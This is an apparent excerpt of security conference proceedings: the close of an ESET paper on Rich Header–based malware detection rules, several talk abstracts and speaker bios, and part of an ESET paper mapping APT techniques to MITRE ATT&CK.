Table 9. Win{32,64}/NukeSped detection rule

Win32/CrisisHT

This is ESET’s detection name for samples from the spyware kit operated and sold by the infamous Italian software company called Hacking Team. In [13] many aspects of the threat are considered, e.g. the clustering of the toolset based on the attached code signing certificates. In Table 10 we illustrate clustering based on the Rich Headers values. The “SPC” version looks like a testing concept built by an unrelated team — a consequence of the source codes leaks in July 2015.

<table>
<thead>
<tr>
<th>Certificate</th>
<th>PE Timestamp</th>
<th>prodidUtcXXXX_CPP and build values</th>
<th>Import0</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1600_CPP</td>
<td>1600_CPP b40219</td>
<td>1600_CPP b30319</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>16.9.2015</td>
<td>38</td>
<td>170</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>19.10.2015</td>
<td>64</td>
<td>247</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>19.10.2015</td>
<td>38</td>
<td>169</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>5.11.2015</td>
<td>38</td>
<td>168</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>17.11.2015</td>
<td>64</td>
<td>247</td>
</tr>
<tr>
<td>SPC</td>
<td>5.1.2016</td>
<td>49</td>
<td>163</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>18.1.2016</td>
<td>38</td>
<td>170</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>24.3.2016</td>
<td>64</td>
<td>247</td>
</tr>
<tr>
<td>Raffaele Carnacina</td>
<td>24.3.2016</td>
<td>38</td>
<td>169</td>
</tr>
<tr>
<td>ADD Audit</td>
<td>17.6.2016</td>
<td>70</td>
<td>251</td>
</tr>
<tr>
<td>ADD Audit</td>
<td>1.9.2016</td>
<td>70</td>
<td>250</td>
</tr>
<tr>
<td>ADD Audit</td>
<td>19.12.2016</td>
<td>44</td>
<td>177</td>
</tr>
<tr>
<td>ADD Audit</td>
<td>28.4.2017</td>
<td>38</td>
<td>170</td>
</tr>
<tr>
<td>ADD Audit</td>
<td>28.4.2017</td>
<td>64</td>
<td>259</td>
</tr>
<tr>
<td>Ziber Ltd</td>
<td>28.6.2017</td>
<td>57</td>
<td>293</td>
</tr>
<tr>
<td>Media Ltd</td>
<td>28.6.2017</td>
<td>40</td>
<td>184</td>
</tr>
<tr>
<td>Ziber Ltd</td>
<td>9.10.2017</td>
<td>40</td>
<td>190</td>
</tr>
<tr>
<td>Ziber Ltd</td>
<td>18.10.2017</td>
<td>57</td>
<td>299</td>
</tr>
</tbody>
</table>

Table 10. CrisisHT samples clustered by C++ compiler version Rich Header data
Crimeware

Win32/Kasidet

Kasidet (aka Neutrino Bot) is a crime kit with many capabilities which is sold on underground forums and is popular for its relatively cheap price. The crime kit is distributed via a special builder containing the compiled stub of Neutrino bot. In Table 11 we showcase the evolution of four ProdIDs that represent the projects. Each color band represents a unique stub that was distributed by various cybercriminal groups[14].

<table>
<thead>
<tr>
<th>ProdID</th>
<th>PE timestamp</th>
<th>prodidUtc1500_C</th>
<th>prodidImplib900</th>
<th>prodidImport0</th>
<th>prodidUtc1600_CPP</th>
</tr>
</thead>
<tbody>
<tr>
<td>MiningRats 04</td>
<td>25.07.2017</td>
<td>1</td>
<td>25</td>
<td>175</td>
<td>44</td>
</tr>
<tr>
<td>LethicGuys 08</td>
<td>21.10.2017</td>
<td>1</td>
<td>29</td>
<td>179</td>
<td>46</td>
</tr>
<tr>
<td>Redirectors 01</td>
<td>25.10.2017</td>
<td>1</td>
<td>29</td>
<td>179</td>
<td>46</td>
</tr>
<tr>
<td>LethicGuys 09</td>
<td>31.10.2017</td>
<td>1</td>
<td>29</td>
<td>179</td>
<td>47</td>
</tr>
<tr>
<td>LethicGuys 10</td>
<td>07.11.2017</td>
<td>4</td>
<td>31</td>
<td>185</td>
<td>49</td>
</tr>
<tr>
<td>Redirectors 03</td>
<td>07.11.2017</td>
<td>4</td>
<td>31</td>
<td>185</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 11</td>
<td>16.11.2017</td>
<td>4</td>
<td>31</td>
<td>185</td>
<td>49</td>
</tr>
<tr>
<td>Redirectors 04</td>
<td>16.11.2017</td>
<td>4</td>
<td>31</td>
<td>186</td>
<td>49</td>
</tr>
<tr>
<td>Redirectors 05</td>
<td>17.11.2017</td>
<td>4</td>
<td>31</td>
<td>186</td>
<td>49</td>
</tr>
<tr>
<td>MiningRats 07</td>
<td>05.01.2018</td>
<td>4</td>
<td>31</td>
<td>186</td>
<td>49</td>
</tr>
<tr>
<td>MiningRats 08</td>
<td>08.01.2018</td>
<td>4</td>
<td>31</td>
<td>186</td>
<td>49</td>
</tr>
<tr>
<td>MiningRats 09</td>
<td>12.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>LethicGuys 13</td>
<td>13.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>LethicGuys 14</td>
<td>15.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>ProxyGuys 01</td>
<td>16.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>MiningRats 10</td>
<td>20.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>LethicGuys 15</td>
<td>21.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>LethicGuys 16</td>
<td>21.01.2018</td>
<td>3</td>
<td>31</td>
<td>196</td>
<td>50</td>
</tr>
<tr>
<td>MiningRats 11</td>
<td>30.01.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>ProxyGuys 02</td>
<td>04.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 01</td>
<td>09.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 17</td>
<td>16.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 18</td>
<td>22.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 19</td>
<td>25.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 20</td>
<td>26.02.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>Redirectors 06</td>
<td>16.03.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>Redirectors 07</td>
<td>19.03.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 21</td>
<td>22.03.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 22</td>
<td>22.03.2018</td>
<td>3</td>
<td>29</td>
<td>193</td>
<td>49</td>
</tr>
</tbody>
</table>

Table 11. The evolution of Win32/Kasidet project [part 1]
Table 11. The evolution of Win32/Kasidet project [part 2]

Table 12 lists the Rich Header search rules we use to cover the prevalent Neutrino bot version 5.4.

<table>
<thead>
<tr>
<th>PE</th>
<th>prodidUtc1500_C</th>
<th>prodidImplib900</th>
<th>prodidImport0</th>
<th>prodidUtc1600_CPP</th>
</tr>
</thead>
<tbody>
<tr>
<td>LethicGuys 23 02.04.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>ProxyGuys 03 02.04.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 24 05.04.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 02 08.04.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 03 23.04.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 04 02.05.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>Arsonists 01 07.05.2018</td>
<td>3</td>
<td>29</td>
<td>194</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 05 19.05.2018</td>
<td>3</td>
<td>27</td>
<td>192</td>
<td>49</td>
</tr>
<tr>
<td>Arsonists 021 21.05.2018</td>
<td>3</td>
<td>27</td>
<td>192</td>
<td>49</td>
</tr>
<tr>
<td>TinukeFareit 061 21.05.2018</td>
<td>3</td>
<td>27</td>
<td>192</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 25 23.05.2018</td>
<td>3</td>
<td>27</td>
<td>192</td>
<td>49</td>
</tr>
<tr>
<td>ProxyGuys 04 06.06.2018</td>
<td>3</td>
<td>29</td>
<td>223</td>
<td>54</td>
</tr>
<tr>
<td>Arsonists 022 10.06.2018</td>
<td>3</td>
<td>29</td>
<td>223</td>
<td>49</td>
</tr>
<tr>
<td>LethicGuys 261 14.06.2018</td>
<td>3</td>
<td>29</td>
<td>224</td>
<td>54</td>
</tr>
<tr>
<td>TinukeFareit 062 19.06.2018</td>
<td>3</td>
<td>29</td>
<td>224</td>
<td>55</td>
</tr>
<tr>
<td>TinukeFareit 07 05.07.2018</td>
<td>3</td>
<td>29</td>
<td>224</td>
<td>55</td>
</tr>
<tr>
<td>MiningRats 12 26.08.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>LethicGuys 27 03.09.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>Arsonists 03 18.09.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>LethicGuys 28 18.09.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>ProxyGuys 05 18.09.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>TinukeFareit 08 20.09.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
<tr>
<td>MiningRats 13 11.10.2018</td>
<td>3</td>
<td>29</td>
<td>241</td>
<td>56</td>
</tr>
</tbody>
</table>

Table 12. Win32/Kasidet version 5.4 detection rule

| prodidUtc1500_C | b30729 = [1-4] |
| prodidUtc1500_CPP | b30729 = 1 |
| prodidImplib900 | b30729 = [25-31] |
| prodidImport0 | b0 = [175-241] |
| prodidUtc1600_C | b40219 = 5 |
| prodidUtc1600_CPP | b40219 = [44-56] |
Win[32,64]/Dridex

It seems that this infamous banking trojan is being actively developed by a single entity at any given time, as all the samples from a given time period/campaign have the same Rich Headers. The development environment was changed at least 4 times. This could mean that the authors updated their tools or that the source code has changed hands and either been sold or passed to someone else. The detection rules for various versions can be found in Table 13.

WIN[32,64]/DRIDEX V1, V2 & V3 (2014—2015)

The initial versions of the Dridex banking trojan were developed in Visual Studio 2010. The rule should cover all samples from the version 1.100 all the way until 3.102, which is over a year long period between July 2014 and September 2015. We have collected 75 unique builds based on this search and based on the gaps in the versions of samples we were missing, it could potentially cover over 270 unique versions.

WIN[32,64]/DRIDEX V3 (2016)

After the version 3.102 the development environment has slightly changed for the rest of the v3 development cycle and both 32-bit and 64-bit versions between v3.145 (November 2015) and v3.258 (September 2016) can be covered by the rule.

WIN[32,64]/DRIDEX V4 (2017—2018)

The Dridex version 4 introduced few major changes including the infamous Atom bombing technique that made headlines back in 2017 as well as a major development environment towards Visual Studio 2015. The rule covers the versions between v4.43 and v4.87 and reliably covers both 32-bit and 64-bit samples.

WIN[32,64]/DRIDEX V5 (V2) (2018—2019)

Another shift in the development environment of this malware. This time there has been an interesting shift in the versioning as well – instead of an expected version 5 it has been set back to version 2. This could indicate a change of the ownership of the source code or a change of the developer responsible for the malware. The rule should cover the most recent versions (v2.68 and newer).

<table>
<thead>
<tr>
<th>Version 1, 2 and 3 (2014-2015)</th>
<th>prodidUtc1500_CPP b30729 = 1</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>prodidMasm1000 b40219 = [23-26]</td>
</tr>
<tr>
<td></td>
<td>prodidUtc1600_C b40219 = [99-143]</td>
</tr>
<tr>
<td></td>
<td>prodidUtc1600_CPP b40219 = [32-48]</td>
</tr>
<tr>
<td></td>
<td>prodidUnknown b0 = 1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Version 3 (2016)</th>
<th>prodidImplib900 b30729 = [3-5]</th>
</tr>
</thead>
<tbody>
<tr>
<td>prodidImport0 b0 = 1</td>
<td></td>
</tr>
<tr>
<td>prodidUtc1500_C b30729 = 1</td>
<td></td>
</tr>
<tr>
<td>prodidExport1000 b40219 = 1</td>
<td></td>
</tr>
<tr>
<td>prodidUnknown b0 = 1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Version 4 (2017-2018)</th>
<th>prodidUtc1900 C b24215 = [22-23]</th>
</tr>
</thead>
<tbody>
<tr>
<td>prodidUtc1900_CPP b24215 = [58-60]</td>
<td></td>
</tr>
<tr>
<td>prodidLinker1400 b24215 = 1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Version 5 (v2) (2018-2019)</th>
<th>prodidUtc1500_C b30729 = 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>prodidImplib900 b30729 = 5</td>
<td></td>
</tr>
<tr>
<td>prodidImport0 b0 = 6</td>
<td></td>
</tr>
<tr>
<td>prodidLinker1400 b24215 = 1</td>
<td></td>
</tr>
<tr>
<td>prodidUnknown b0 = 90</td>
<td></td>
</tr>
</tbody>
</table>

Table 13. Win[32,64]/Dridex detection rules
Malware packers

The main purpose of malware packers is to provide a container for malware families with features like polymorphism, anti-analysis and obfuscation. Because of these features, malware packers often display abnormal static properties and their Rich Headers are no exception.

The first interesting case was a validly signed, highly polymorphic obfuscator detected as Win32/Kryptik.GSLI. In May 2019 hundreds of unique samples were distributed in the wild, with Win32/TrojanDownloader.Zurgop.CY as the protected payload. We discovered these campaigns because the prodidCvtres500 identifier contained anomalously high counts. After collecting many related files, we found that the rules in Table 15 identified the cluster very well.

| prodidMasm613 | b7299 = [12-13] |
| prodidUtc12_C | b9782 = 63 |
| prodidLinker512 | b8034 = 11 |
| prodidUtc12_CPP | b9782 = 2 |

Table 15. Detection query for Win32/Kryptik.GSLI

Later we identified another extremely polymorphic malware packer. The shared static properties include two .version PE sections of 1024 bytes each, a File Version of 1.0.0.1 and Legal Copyright starting with Copyright (C) 2018,. The rest of the features seem randomly generated. We described the cluster with the relatively simple rule conjunction seen in Table 16.

| prodidUtc1500_CPP | b21022 = 37 |
| prodidMasm900 | b21022 = 17 |
| prodidUtc1500_C | b21022 = [112-120] |
| prodidUtc1500_LTCG_CPP | b21022 = 1 |
| prodidCvtres900 | b21022 = 1 |

Table 16. Detection query for the malware packer shared across many malware families

There were many malware families protected with this packer, including:

- Win32/PSW.Delf.OSF (aka Azorult),
- Win/Spy.Kronosbot,
- Win32/TrojanDownloader.Zurgop.DA,
- Win32/Filecoder.Spora,
- Win32/Agent.TFY (a backdoor written in GoLang),
- MSIL/Spy.Baldr,
- Win32/Ramnit.BV (a virus),
- Win32/Spy.Ursnif.CY,

and many more.
Rich Headers & YARA

YARA is a great tool for malware researchers, incident responders and security engineers that has become an industry standard for hunting malware and the classification of unknown samples. Hence, being able to write YARA rules based on Rich Headers would be a great way to share our findings with the rest of the world.

Although YARA does support parsing of Rich Headers and the PE module has a few Rich Header related fields. Despite the recent changes in Figure 9, at the time of writing (October 2019) there are still a few drawbacks.

Firstly, as seen in its source code in Figure 8, YARA incorrectly assumes that the Rich Header always starts at the common offset $0x80$ and will not work for any Rich Header at a different offset. This can be easily fixed and is not that big of an issue, since as stated above, over 99% of files with Rich Headers tend to have them at that offset.

```c
if (pe->data_size < headers_size)
    return;

    // From offset $0x80$ until the start of the PE header should be the Rich
    // signature. The three key values must all be equal and the first dword
    // XORs to "Dan5". Then walk the buffer looking for "Rich" which marks the
    // end. Technically the XOR key should be right after "Rich" but it's not
    // important.
    rich_signature = (PRICH_SIGNATURE) (pe->data + $0x80$);

    if (yr_le32toh(rich_signature->key1) != yr_le32toh(rich_signature->key2) ||
        yr_le32toh(rich_signature->key2) != yr_le32toh(rich_signature->key3) ||
        (yr_le32toh(rich_signature->dans) ^ yr_le32toh(rich_signature->key1)) != RICH_DANS)
        {
            return;
```

Figure 8. YARA’s implementation of Rich Headers lookup

The bigger problem was the YARA Rich Header related API, which was very simple and insufficient for any effective Rich Header-related rules. The `version` and `toolid` functions could only look whether a specific ProdID and build was present in the Rich Header, but was unable to query its count values, which were the most crucial attribute in most useful searches. Recently, a pull request fixing these issues has been merged with the master branch[15].
Conclusion

We started our project with low expectations, thinking that there is a reason the feature is overlooked and not widely utilized. Over time, we were more and more impressed with how much could be achieved by searching for feature clusters based on such a small part of an executable, and how powerful it can be when leveraged correctly.

The space of Rich Header features has an extremely fast lookup and is “rich” indeed, in the sense that the detection queries for chosen parts of APT toolsets or crimeware kits identified the clusters well and with a low level of noise. Because of the nature of the information, false positives may happen, however the erroneous verdicts seem to be intuitive: clean projects of small magnitude, shared executable containers and, surprisingly, different malicious families as well. We believe this kind of static feature may be utilized in machine-learning algorithms also, to assist in deciding maliciousness, and this is the subject of future work.

Sharing publicly the various techniques malware researchers use to track cybercriminal actors usually causes an obvious reaction: avoidance. In the case of the Rich Header that may be a Pyrrhic victory — any interference with this delicate structure, like wiping it or substituting it, will produce obvious, easily detectable anomalies just asking for closer attention from our malware analysts.

Rich Headers are definitely not a silver bullet that can change the security industry, but they can be a nice and very helpful addition to current detection and hunting methods and systems. We feel that this undocumented structure deserves more attention than it currently receives across the field and imagine that, in the not too distant future, we may see Rich Header YARA rules appearing in malware analysis IoC listings and the like.
Rich Headers: leveraging this mysterious artifact of the PE format for threat hunting

References

[1] https://github.com/AyalaRs/win/blob/master/private/sdktools/vctools/langapi/include/prodids.h
[10] https://github.com/VirusTotal/yara/blob/master/libyara/modules/pe.c#L190
Momigari: Overview of the latest Windows OS kernel exploits found in the wild

Boris Larin & Alexander Liskin / Kaspersky

Abstract

Momigari (red leaf hunting) is the Japanese tradition of searching for the most beautiful leaves in autumn. In the space of just one month in the autumn of 2018, we found a number of zero-day exploits in the wild for the Microsoft Windows operating system. Two of them were for the newest and fully updated Windows 10 RS4, which until then had no known memory corruption exploits.

We also uncovered exploits for vulnerabilities that had been unintentionally fixed with security updates, but which had been unpatched zero-days for a long time leading up to that. These findings shows that exploit writers continue to find new ways to reliably exploit unstable vulnerabilities and bypass modern mitigation techniques for the most secure operating system.

Boris Larin is a Senior Malware Analyst in the Heuristic Detection and Vulnerability Research team at Kaspersky Lab. Boris is very passionate about reverse engineering and has been doing it for the last decade, performing vulnerability research on software for different CPU architectures and systems. In his current role, Boris is responsible for detecting exploits using modern antivirus technologies. Besides that, Boris is the author of educational materials for Kaspersky Academy, and his latest write-ups about zero-day exploits and the inner workings of commonly exploited software can be found on Securelist.com.

Alexander Liskin works for Kaspersky Lab for more than 10 years, now he is Head of Heuristic Detection and Vulnerability Research team. The group is responsible for heuristic and generic malware detection, development of effective malware detection methods, static and dynamic exploit detection, packed objects analysis, format parsers, vulnerability assessment and patch management. He graduated from Department of Mechanics and Mathematics of Moscow State University. In addition, Alexander leads SDL practices implementation within the department, and he is the owner of malware auto-processing infrastructure projects and KL’s Sandbox.
The most interesting thing is that many of these exploits are related. This suggests that the masterminds behind them are not afraid of wasting a number of zero-days at a time because their armory is full.

In this presentation, we will look at multiple local privilege escalation exploits actively used in the wild and tied into a single framework that was not previously known.

This advanced framework shows signs of maturity: the highest standards of code development and a deep technical knowledge of Windows OS inner workings, observed from the shellcodes that are used in the exploits.

In this presentation, we will share the following:

- An in-depth analysis of the framework that was used for the zero-day exploit development
- An in-depth analysis of vulnerabilities used by attackers

The interesting techniques that were used to bypass exploit mitigation mechanisms.
Multiscanning For The Enterprise

Randy Abrams / OPSWAT

Abstract

Did you know that a false positive can provide threat intelligence? Let me show you a case study. But first a bit of an introduction to what we’ll be discussing.

We are all familiar with a variety of multi-scanning services, but when we talk about multi-scanning most people think of submitting files to a webserver. The files may be suspicious or perhaps the system is used to check new files before they are installed. These are both great uses for a multiscanning system, however this presentation is about the benefits of integrating a multiscanning system into an enterprise network. To be clear, multiscanning does not replace real-time protection on endpoints and servers.

An integrated multiscanning system leverages the strengths of several antimalware vendor’s offerings. This includes technological approaches, geographical diversity, sensor nodes, and time-to-detect. The use of multiple scanning engines can also help in evaluating potential false positives.

Randy Abrams joined the antivirus community in 1997, long before it was called antimalware. While working at Microsoft, Randy designed and administered the multiscanning system that Microsoft required to stop the release of infected products. Randy administered the systems for seven years, and trained Microsoft employees in the US, Europe and in Asia on multiscanning fundamentals, process design, maintenance, and administration. Microsoft’s multiscanning system now handles in excess of five billion files per month.

While at Microsoft, Randy worked relentlessly to get Microsoft to share critical information that the AV industry required to better protect Microsoft’s customers. After leaving Microsoft in 2005, Randy went to work at ESET as the Director of Technical Education. Following ESET he worked as a Research Director for NSS Labs, and then as a Senior Security Analyst at Webroot. Randy joined OPSWAT as a Senior Security Analyst in June of 2019. Randy has served on the board of directors of AVAR for almost two decades, has presented at dozens of security conferences throughout the world, and has been quoted hundreds of times in the media.
 Granted, an increase of false positives is one of the legitimate concerns one should have if they are evaluating the real-time use of the technology. Cost is also going to be a consideration. There are costs associated with licensing, and additional resources. Latency is also a concern.

As is the case with any effective security technology there will be pros and cons. It is therefore incumbent on any multiscanning, or other security solution, to demonstrate the ability to impactfully increase the customer’s security posture.
ATT&CKing the threat intelligence sharing problem
Robert Lipovsky / ESET

Protecting Democracy — Elections Under Attack
Yoav Arad Pinkas / Checkpoint

Hunting advanced IoT malware
GenShen Ye / 360NetLab

Tick Tock — Activities of the Tick Cyber Espionage Group in East Asia Over the Last 10 Years
Minseok (Jacky) Cha / AhnLab

EMOTET...... The end to end story
Prakash Galande & Bajrang Mane / Quickheal

Guildma: timers sent from hell
Adolf Středa, Luigino Camastra / AVAST

Cybersecurity Parasite
Nitin Shekohar, Akshay Agarwal / Symantec

Demystifying macOS: An investigation into the dynamics of macOS attacks
Akhil Reddy / FireEye

CTPH Clustering Analysis in Big Data Environment
Steven Zhou / Microsoft
ATT&CKing the threat intelligence sharing problem

Robert Lipovsky / ESET

Abstract

For a research-oriented cybersecurity company that regularly discloses detailed analyses of cyberattacks to clients and/or the public, the introduction of MITRE ATT&CK™ as a common language to describe adversary techniques and tactics was certainly welcome. We will begin the presentation by introducing how exactly and why we started using ATT&CK, providing examples of mappings in our research publications, as well as the role it plays in enhancing our EDR solutions. We will then go over our experience with contributing to the knowledge base, highlighting its strengths as well as its limitations. On top of the official ATT&CK guidance, we will provide some tips for contributors.

The second part of the talk will be example driven. Having played a key role in analyzing some of the most significant cyberattacks in history, we will go over the most interesting tactics, techniques, and procedures of the adversaries, mapping them to ATT&CK. Specifically, we will analyze the TTPs of Sednit (aka APT28), the group reportedly responsible for the Democratic National Committee hack that affected the US 2016 elections, and Telebots (aka Sandworm), the group behind the first malware-driven electricity blackouts (BlackEnergy and Industroyer) and the most damaging cyberattack ever (NotPetya). Finally, we’ll conclude with our analysis of the current threat landscape and trends, and highlight how we anticipate it will shape ATT&CK going forward.

Robert Lipovsky is a Senior Malware Researcher for ESET, with 12 years’ experience in cybersecurity. He is responsible for threat intelligence and malware analysis and leads the Malware Research Team at ESET headquarters in Bratislava. He is a regular speaker at security conferences, including AVAR, RSAC, Black Hat USA, Virus Bulletin, and Hacktivity. He also teaches reverse engineering at the Slovak University of Technology — his alma mater, and at Comenius University. When not bound to a keyboard, he enjoys traveling, playing guitar and flying single-engine airplanes.
MITRE ATT&CK — How and why we use it

In a field as broad as cybersecurity with a multitude of practitioners — who commonly use unsettled and not always widely agreed jargon — and audiences (e.g. management, customers, other vendors) with even more diverse backgrounds, there has been a great need for a more universal language to describe adversary tactics and techniques.

Attempting to create a comprehensive knowledge base is no easy task, and we believe MITRE has been doing a great job — the ATT&CK matrices are well implemented with relationships between the various entities (groups, software, techniques, tactics, and data sources) and numerous ways to access the data (the website, Navigator, STIX, TAXII). It is a work in progress, which is why the second half of this paper focuses on its current limitations and community contribution.

But let’s begin with how ESET researchers utilize MITRE ATT&CK. While we had been tracking adversary TTPs long before the introduction of the knowledge base, it definitely provides added value. This is not a comprehensive overview of all its possible uses, just the ones we have found most useful until now — and we may adopt some of the other uses in the future.

ATT&CK mappings in publications and EDR alerts

The first usage types are external — leveraging the added value of a commonly used taxonomy in communication with our audiences. ESET puts a lot of effort into threat intelligence sharing, publications and raising awareness about threats and cyberattacks. One of our main public communication channels of such information is the WeLiveSecurity blog where, in addition to the IoC sections, we started enhancing our articles and white papers with ATT&CK mappings.

<table>
<thead>
<tr>
<th>T1497</th>
<th>Virtualization/Sandbox Evasion</th>
<th>Attor can detect whether it is executed in some virtualized or emulated environments. If detected, it terminates itself immediately.</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1056</td>
<td>Input Capture</td>
<td>User credentials can be collected by plugin 0x07 via capturing keystrokes.</td>
</tr>
<tr>
<td>T1083</td>
<td>File and Directory Discovery</td>
<td>Plugin 0x01 enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files.</td>
</tr>
<tr>
<td>T1120</td>
<td>Peripheral Device Discovery</td>
<td>Plugin 0x01 collects information about inserted storage devices, modems and phone devices.</td>
</tr>
<tr>
<td>T1082</td>
<td>System Information Discovery</td>
<td>Attor monitors the free disk space on the system.</td>
</tr>
</tbody>
</table>

Figure 1. Excerpt of MITRE ATT&CK mapping table of the Attor malware WeLiveSecurity article

As an example of a non–public communication channel, we have added ATT&CK references in alerts triggered by our EDR solution, ESET Enterprise Inspector, wherever possible.

The references aren’t included in all of ESET Enterprise Inspector’s rules, due to the differences in granularity of the detected techniques — an issue we’ll discuss later in the paper.
ATT&CK as a guide for EDR enhancement and evaluation

We also use the ATT&CK Enterprise matrix (along with the MITRE Cyber Analytics Repository) for internal purposes — as one of the guides for enhancing our EDR solution and improving the effectiveness of our analytics and SOC. We won’t go into details, as MITRE’s own Getting Started with ATT&CK blog series covers our use case scenarios in great depth in the Detection and Analytics and Assessments and Engineering posts.

APT group case studies

Although the “ranking” of APT groups in terms of impact and sophistication is surely debatable, as there’s hardly a metric to measure and compare it objectively, in this paper we’ve chosen to focus on two groups that we’ve been tracking closely, and which can indisputably be considered among the most notorious. They have received extensive coverage in both mainstream and technical media for the impact of their attacks. To carry out the attacks, their arsenals include unique and often sophisticated TTPs. The following section is by no means a comprehensive mapping, just a sample of some notable ones, with references to ATT&CK.

Lojax — Sednit makes first ever in-the-wild use of a UEFI rootkit

In 2018, we discovered Lojax — the first UEFI rootkit being used in the wild. This was a significant discovery for two main reasons, the first being technical: employing a UEFI rootkit, which gets executed from a system’s SPI flash memory before the OS (and any security solutions) gets a chance to load, is an extremely powerful persistence mechanism able to withstand not only a full system wipe and reinstallation but even a hard drive replacement.
Second, it was deployed against European diplomatic targets by the infamous Sednit group (aka APT28), believed to be behind major, high-profile attacks, notably the Democratic National Committee hack that affected the US 2016 elections, the hack of the global television network TV5Monde, the World Anti-Doping Agency email leak, and many others.

Until then, UEFI rootkits were mostly a matter of proof-of-concepts, reported capability of some governmental agencies, or the Hacking Team espionage software. MITRE ATT&CK lists them under the System Firmware technique.

Telebots — from critical infrastructure breach to the world's most damaging cyberattack

The Telebots group, often referred to as Sandworm, has primarily been targeting Ukraine but because of the specifics of some of their attacks, they gained worldwide notoriety. We have been closely tracking their activities for many years now, and because of their attacks against Ukraine's power grid and the NotPetya epidemic (that unintentionally became global), consider them to be one of the most dangerous APT groups in operation.

One of the group's early, signature toolsets was the BlackEnergy malware, employed (among other attacks) in the first ever mass power-grid blackout caused by a cyberattack.

For initial access, the group mostly relied on spearphishing emails employing various means to gain execution, including the use of a zero-day exploit in Microsoft PowerPoint. In some of their attacks, though, they also used Supply Chain Compromise (most notably M.E.Doc but also some other instances), and some less common techniques, such as parasitic file infection, gaining entry via vulnerable web servers (used with the GreyEnergy malware) or via SCADA software projects (namely GE CIMPLICITY). That observation, which predated the blackouts, was one of the first indicators of the group's interest in critical infrastructure and the energy sector.

The group was responsible for another Ukrainian power grid attack in December 2016 that was slightly less impactful than the first one the year before, but conducted using a more powerful malware framework: Industroyer (sometimes referred to as Crashoverride). Industroyer is one of the most cunning pieces of malware ever created thanks to its modularity and its ability to communicate with ICS equipment using industrial communication protocols — effectively bridging the gap between IT (Information Technology) and OT (Operational Technology) attacks. Interestingly, as of this writing, unlike some of the group's less known malware, it is not featured in ATT&CK — possibly because of the upcoming ICS ATT&CK matrix.

Other signature tooling used by Telebots includes various destructive components and tools — so-called wipers. While tracking the group, we have observed an evolution of this technique: from BlackEnergy plugins through standalone KillDisk malware to destructive file encryptors masquerading as ransomware. The most infamous example of the latter was NotPetya — the most damaging cyberattack in history. While most of Telebot's malware targets Windows, they also feature variants against Linux servers.

If we had to describe the group with just one word, it would be impactful — for the havoc they caused in Ukraine with their sabotage operations, which left hundreds of thousands of civilians without electricity for hours, as well as the NotPetya pseudoransomware that caused large-scale damage to some of the world's largest corporations. Thus, the Impact tactic, which had been missing in ATT&CK until the April 2019 update, was a very much needed addition.
Contributing to ATT&CK and areas for improvement

